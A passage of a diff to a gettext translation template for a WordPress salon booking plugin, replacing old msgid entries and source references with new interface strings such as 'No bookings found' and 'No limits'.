build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72\n-msgid \"The booking process requires cookies to work properly. Please enable cookies and reload the page.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:148\n+msgid \"\"\n+\"No available appointments found for the selected service. No assistant pair \"\n+\"is available in the current date range. Please try a different service or \"\n+\"contact us.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61\n-msgid \"Checkout as a guest\"\n+#. %s will be replaced by the service name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:125\n+#, php-format\n+msgid \"\"\n+\"No available assistant found for %s. Please try selecting a specific date or \"\n+\"enable Smart Availability.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61\n-msgid \"An account will be automatically created\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_content.php:98\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_content.php:98\n+msgid \"No bookings\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57\n-msgid \"checkout as a guest\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:39\n+msgid \"\"\n+\"No bookings eligible for feedback. All eligible bookings have already \"\n+\"received feedback requests.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57\n-msgid \"no account will be created\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:680\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:680\n+msgid \"No bookings found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_fbphone.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9\n-msgid \"Please, insert your phone number.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:681\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:681\n+msgid \"No bookings found in trash\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_sms.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20\n-msgid \"SMS sent successfully.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:345\n+msgid \"No customer email or payment ID available\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_sms.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23\n-msgid \"SMS Verification\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73\n+msgid \"No customers bookings\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_sms.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24\n-msgid \"We have sent an SMS text on your mobile phone.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91\n+msgid \"No customers found ...\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_sms.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:38\n-msgid \"digit your verification code\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:96\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:96\n+msgid \"No dates selected\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_sms.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49\n-msgid \"I didn't receive the code, please send it again\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:244\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:244\n+msgid \"No discounts found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_sms.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28\n-msgid \"Your telephone number is verified\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:245\n+msgid \"No discounts found in trash\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_summary.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:100\n-msgid \"please review and confirm the details of your booking:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:76\n+msgid \"No eligible bookings found. Check settings below.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:148\n+msgid \"No Envato API token available\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:425\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:425\n+msgid \"No events in this day.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_summary.php:112, views\u002Fshortcode\u002Fsalon_summary.php:107, views\u002Fshortcode\u002F_form_actions.php:11, views\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:112, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:107, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:112, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9\n-msgid \"Next step\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1028\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:310\n+msgid \"No expiration date\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_attendants.php:109, views\u002Fshortcode\u002F_m_attendants.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_attendants.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_attendants.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_attendants.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_attendants.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_attendants.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78\n-msgid \"No assistants available for the selected time\u002Fslot - please choose another one\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:642\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:642\n+msgid \"No extensions found or an error occurred while fetching data.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:153\n+msgid \"No features found.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:331\n+msgid \"No license data available\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314\n+msgid \"No limits\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_form_actions.php:84, views\u002Fshortcode\u002F_form_actions.php:73, views\u002Fshortcode\u002F_form_actions.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:84, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:84, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:62\n-msgid \"Subtotal\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:37\n+msgid \"No more slots available until\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_form_actions.php:112, views\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:112, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:112, 